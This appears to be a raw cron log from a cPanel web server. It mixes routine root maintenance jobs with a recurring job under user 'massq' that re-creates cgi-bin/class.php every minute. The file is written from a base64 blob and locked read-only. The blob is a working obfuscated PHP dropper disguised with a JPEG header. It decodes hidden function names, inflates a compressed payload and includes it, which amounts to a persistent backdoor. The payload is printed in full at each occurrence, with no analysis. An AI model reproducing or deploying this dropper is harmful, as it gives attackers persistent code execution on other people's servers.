Sep 10 05:10:01 server CROND[10990]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 05:10:01 server CROND[10989]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 05:10:01 server CROND[11006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:10:01 server CROND[11010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:10:01 server CROND[11013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:10:01 server CROND[11014]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:11:01 server CROND[11802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:11:01 server CROND[11803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:11:01 server CROND[11804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:12:01 server CROND[12176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:12:01 server CROND[12175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:12:01 server CROND[12174]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 05:12:01 server CROND[12177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:13:01 server CROND[12670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:13:01 server CROND[12671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:13:01 server CROND[12672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:14:01 server CROND[13047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:14:01 server CROND[13049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:14:01 server CROND[13051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:15:01 server CROND[13424]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 05:15:01 server CROND[13429]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:15:01 server CROND[13436]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 05:15:01 server CROND[13449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:15:01 server CROND[13447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:15:01 server CROND[13450]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 05:15:01 server CROND[13448]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:15:01 server CROND[13446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:16:01 server CROND[14285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:16:01 server CROND[14286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:16:01 server CROND[14287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:17:01 server CROND[14653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:17:01 server CROND[14654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:17:01 server CROND[14655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:18:01 server CROND[15127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:18:01 server CROND[15129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:18:01 server CROND[15128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:19:01 server CROND[15560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:19:01 server CROND[15561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:19:01 server CROND[15562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:20:01 server CROND[15944]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:20:01 server CROND[15946]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 05:20:01 server CROND[15947]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 05:20:01 server CROND[15950]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 05:20:01 server CROND[15949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:20:01 server CROND[15952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:20:01 server CROND[15953]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:20:01 server CROND[15948]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 05:20:01 server CROND[15951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:21:01 server CROND[16760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:21:01 server CROND[16761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:21:01 server CROND[16762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
